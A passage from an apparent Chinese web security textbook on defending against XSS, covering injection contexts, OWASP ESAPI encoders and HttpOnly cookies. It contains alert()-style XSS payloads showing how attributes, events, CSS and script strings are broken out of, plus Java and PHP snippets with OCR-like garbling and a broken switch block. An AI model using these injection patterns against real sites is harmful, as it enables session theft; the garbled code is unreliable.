(2)在屬性內輸出

<div class="${xss}"></div>
<input type="text" name="username" value="${xss}" />
<a href="$ {xss}">He11o</a>

在屬性內輸出資料的時候,僅僅需要閉合標籤,就可以繼續進入XSS 操作,比如:

<input type="text" name="username" value="" onclick- ="alert(/xss/)" />
<a href="javascript: alert (/xss/)">He11</a> //使用協議

(3)在事件中輸出(與屬性相同)

<img src="x. jpg" onerror="${xss}" />
<input type="text" name="username" value="test" onclick="fun('${xss}')" />

攻擊的方法同樣是進行閉合,如:

<input type="text" value="test" οnclick="fun('')" οnkeyup= "alert(/xss/);//')" />
<input type="text" value="test" onclick="fun('1') ;alert(/xss/);//')" />

(4)在CSS中輸出

<style type="text/css">
body {background- image: url(${xss});}
body {background- image: expression(${xss});}
</style>

在CSS中輸出同樣存在XSS的風險,如:

body {background- image: url ("javascript :alert('XSS')");}
body {background- image: expression (alert (/XSS/));}

(5)在Script標籤中輸出

<script>
var username = "$ {username} ";
</script>

這裡的側重點仍然是閉合標籤,比如:

var username = "1";alert (/xss/);//";

以上是最常見到的XSS 場景,OWASP Esapi很好地解決了這些場景的安全問題,在OWASP Esapi“org owasp.esapi.codecs"包中提供了一系列的編碼操作,其中包括HTML編碼、JavaScript編碼、VBSeript 編碼、CSS編碼、SQL編碼等。下面將介紹這些常見的編碼器。

(1)HTML編碼操作

對於HTML編碼,可以使用下面的介面:

String str = ESAPI. encoder () .encodeForHTML (Strint input) ;

使用這個介面可以對字串進行HTML編碼,它採用的編碼器是HTMLEntityCodec。如果是空格、字母或者是數字,就不編碼,如果有特殊字元在HTML中就替換。例如,引號(" )可以被“""代替,小於號(<)可以被“<”代替,大於(>)可以被“>”代替,其他字元使用“&#x” +十六進位制字元+“;”代替。
而且OWASP 還有專門應用對HTML屬性的編碼操作類,介面如下:

String str = ESAPI.encoder ()。encodeForHTMLAttribute (String input) ;

ForHTMLAttribute()與encodeForHTML()方法在程式碼實現上基本相同,對字串

<imgsrc=x.jpg onerror- alrt(xss)/>

使用ForHTMLAttribute()方法編碼操作。

使用encodeForHTMLAtribute()方法編碼後,可以發現編碼後的字串已經“面目全非”,不過沒關係,普通使用者只關注瀏覽器顯示的頁面,而很少看HTML原始碼,經過瀏覽器的解析後,這串“亂碼”的最終顯示結果為

<img src=xjpg onerror- alert(xss/)/>

XSS 漏洞也不再存在。

(2) CSS 編碼

對輸入、輸出的CSS編碼,介面如下:

String str = ESAPI.encoder().encodeForCss (String input) ;

Css編碼器是CSSCodec,編碼原理是通過反斜槓() 加上十六進位制數進行編碼,與其他的編碼方案不同,其他的編碼如果是十六進位制數,一般都會加上 “X",而CSS則不需要,但仍然是十六進位制數。轉換最終的呼叫方法如下:

public String encodeCharacter (Character c) {
	char ch = c. charValue() ;
	if (UNENCODED_ SET . contains (c))
		return c. toString() ;
	// Css 2.1 section 4.1.3: "It is undefined in CSS 2.1
	// what happens if a style sheet does contain a character
	// with Unicode codepoint zero."
	if(ch == 0)
		throw new IllegalArgumentException ("Chracter value zero is not valid in CSS");
	// otherwise encode with \HHHHH
	String temp = Integer . toHexString((int) ch);
	return "\\" + temp. toUpperCase() + " ";
}

(3) JavaScript 編碼

對輸入、輸出的JavaScript編碼,介面如下:

String str = ESAPI . encoder () . encodeForJavaScript (String input) ; .

JavaScript編碼是JavaScriptCodec類實現的,最終呼叫方法如下:

public String encodeCharacter( Character c ) {
	char ch = c.charValue();
	switch (ch)
	{
		case 0x00:
			return "\\0";
		case 0x08:
			return "\\b";
		case 0x09:
			return "\\t";
		case 0x0a:
			return "\\n";
		case 0x0b:
			return "\\v";
		case 0x0c:
			return "\\f";
		case 0x0d:
			return "\\r";
		case 0x22:
			return "\\\"";
		case 0x27:
			return "\\'";
		case 0x5c:
			return "\\\";
		// encode up to 255 with \\xHH
		String temp = Integer. toHexString( (int)ch) ;
		if( ch<=255 ) {
			String pad = "00" . substring (temp. length() ) ;
			return "\\x" + pad + temp. toUpperCase();
		}
		
		// otherwise encode with \ \uHHHH
		String pad = "0000" . substring (temp. length() );
		return "\\u" + pad + temp. toUpperCase() ;
	}

防禦XSS沒有那麼難,只要把控好輸入與輸出點,針對性地過濾、轉義,就能杜絕XSS 跨站漏洞。

7.5.2 HttpOnly

嚴格地說,HttpOnly 對防禦XSS 漏洞不起作用,而主要目的是為了解決XSS漏洞後續的Cookie 劫持攻擊。

HttpOnly 是微軟公司的Internet Explorer 6 SP1引入的一項新特性。這個特性為Cookie 提供了一個新屬性,用以阻止客戶端指令碼訪問Cookie。至今已經成為一個標準,幾乎所有的瀏覽器都會支援HttpOnly。

在介紹XSS會話劫持時,詳細介紹了Cookie 的儲存格式,並且演示瞭如何使用JavaScript 獲取Cookie。一個伺服器可能會向伺服器端傳送多條Cookie,但是帶有HttpOnly 的Cookie,JavaScript將不能獲取。HttpOnlyTest.php 程式碼如下:

<?php
header ("Set -Cookie: username=root") ;
header ("Set-Cookie: password=password; http0nly" , false);\ .
?>

訪問HttpOnlyTest.php,使用Firefox 瀏覽器檢視Cookie,可以看到password欄位後面有了httpOnly。這樣就代表JavaScript將不能獲取被HtpOnly標註的Cookie值。

在身份標識欄位使用HttpOnly 可以有效地阻擋XSS會話劫持攻擊,但卻不能夠完全阻擋XSS 攻擊。因為XSS 攻擊的手段太多:模擬使用者“正常”操作、盜取使用者資訊、釣魚等,僅靠HttpOnly 是不夠的,防禦的關鍵還是要靠過濾輸入與輸出。

7.6 小結

本章講述了XSs攻擊的原理及XSS攻擊案例。

對於xSs跨站指令碼攻擊漏洞,其攻擊手段雖然層出不窮,但都可以徹底解決。最重要的是,能夠真正掌控“輸入與輸出”。

相關文章